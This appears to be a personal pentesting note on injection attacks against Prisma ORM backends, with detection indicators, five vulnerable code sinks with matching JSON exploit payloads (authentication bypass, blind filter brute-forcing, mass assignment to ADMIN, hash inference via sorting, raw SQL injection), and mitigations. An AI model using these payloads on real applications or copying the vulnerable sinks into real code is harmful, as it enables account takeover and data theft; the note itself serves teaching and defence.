🧠 ORM Injection - Prisma.md

How it works

  1. The backend API expects a primitive input (e.g., a username string) via a JSON payload.

  2. The developer takes req.body.username and drops it directly into a Prisma where clause without enforcing strict schema validation (like Zod or Joi).

  3. The attacker intercepts the request and injects an object containing Prisma operators.

  4. Prisma translates this object into an unintended SQL/NoSQL query on the backend.

Indicators

To identify if the backend is using Prisma as their ORM, we can look at the following indicators:

White Box Indicators

If you have the source code, spotting Prisma is straightforward. Look for these structural and codebase artifacts:

  • The Schema File: The definitive fingerprint of Prisma is the schema.prisma file, usually located in a prisma/ directory at the root of the project. It contains the database models, generator definitions, and datasource configurations.

  • Dependencies in package.json: Look for "@prisma/client" in the dependencies and "prisma" in the devDependencies.

  • Migrations Folder: A prisma/migrations/ directory containing SQL files and migration_lock.toml files.

  • Code Instantiation: Look for the initialization of the Prisma client in the TypeScript/JavaScript files:

import { PrismaClient } from '@prisma/client'
const prisma = new PrismaClient()
  • Query Syntax: Prisma’s API is very distinct. Look for nested objects using methods like findUnique, findMany, create, update, or delete, along with its specific payload structures like where, data, select, and include.
await prisma.user.findUnique({
  where: { id: 1 },
  include: { posts: true }
})

(incomplete) Blackbox Indicators

Exploitation

Prerequisites

  • Backend passes user input directly to Prisma functions (findUnique, findFirst, findMany, update).
  • Absence of strict input schema validation.

Attack Vectors

1. Type Confusion

Occurs when a filter parameter accepts an object containing logical operators instead of a primitive string/integer. Commonly used to bypass authentication or identity checks.

The Vulnerable Code (Sink):

// The developer expects req.body.username to be a string.
// Because it isn't cast to a String, Prisma accepts an object.
const user = await prisma.user.findFirst({
  where: {
    username: req.body.username,
    password: req.body.password
  }
});

Exploit Payload:

// POST /api/login
{
  "username": { "not": "dummy_value" },
  "password": { "not": "dummy_value" }
}
# Result: Logs in as the first user in the database (often admin).

2. Blind ORM / Relational Filter Injection

Occurs when the developer passes the entire request body into the where clause, allowing attackers to query related/hidden tables.

The Vulnerable Code (Sink):

// The developer expects req.body to just be {"handle": "target_user"}
app.post('/api/analyst/search', async (req, res) => {
    const data = await prisma.analyst.findMany({
        where: req.body 
    });
    return res.json(data);
});

Exploit Payload:

// Ask the DB: "Does this user have a hidden signal starting with 'a'?"
{
  "handle": "quant_sable",
  "signals": {
    "some": { 
      "signalHmac": { "startsWith": "a" } 
    }
  }
}
// Result: If the endpoint returns the analyst's public profile, the statement is TRUE. If it returns an empty array [], it is FALSE. Iterate to brute-force data.

3. Mass Assignment

Occurs in create or update operations where the application takes a JSON body and maps it directly to the model without an allow-list, permitting the modification of restricted fields.

The Vulnerable Code (Sink):

app.post('/api/profile/update', async (req, res) => {
    // SINK: All keys in req.body are written to the database
    const updatedUser = await prisma.user.update({
        where: { id: req.user.id },
        data: req.body 
    });
});

Exploit Payload:

// The normal payload only contains "bio". 
// The attacker injects administrative fields.
{
  "bio": "Updated bio text",
  "role": "ADMIN",
  "isVerified": true
}

4. Dynamic Identifier Injection

Occurs when user input controls the selection or ordering of data. Developers often perceive these as safe UI configurations rather than dangerous injection sinks.

The Vulnerable Code (Sink):

// The developer allows the frontend to sort the data
const users = await prisma.user.findMany({
    orderBy: req.body.sort
});

The Exploit Payload:

// If direct data extraction is blocked, sort the public data by a hidden sensitive column.
// By observing the output order, you can infer the value of the hidden hashes.
{
  "sort": { "passwordHash": "asc" } 
}

5. Raw Query / Snippet Injection

Occurs when the developer bypasses the ORM’s safety features to write manual SQL using Prisma’s ā€œescape hatches.ā€

The Vulnerable Code (Sink):

// Vulnerable: Using Unsafe raw queries with string concatenation/template literals
const results = await prisma.$queryRawUnsafe(`SELECT * FROM User WHERE id = ${req.query.id}`);

If this is the case then the vulnerability boils down to SQLi, check for other note related to this topic for more.

Mitigation

  • Fix: Implement strict schema validation using Zod, Yup, or Joi on all incoming request bodies. Actively reject object/array inputs for fields that should be primitive strings.

  • Fix: Construct Prisma queries explicitly. Never pass req.body directly into the ORM’s where or data clauses.

// SECURE: Explicitly casting to primitives
prisma.user.findFirst({ 
  where: { 
    username: String(req.body.username),
    password: String(req.body.password)
  } 
});

Fix: For raw queries, always use parameterized inputs via prisma.$queryRaw (which uses tagged templates to parameterize), NEVER prisma.$queryRawUnsafe.

TABLE creation_date AS "Created" 
FROM "05 - Content" 
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩") 
SORT file.name ASC

References: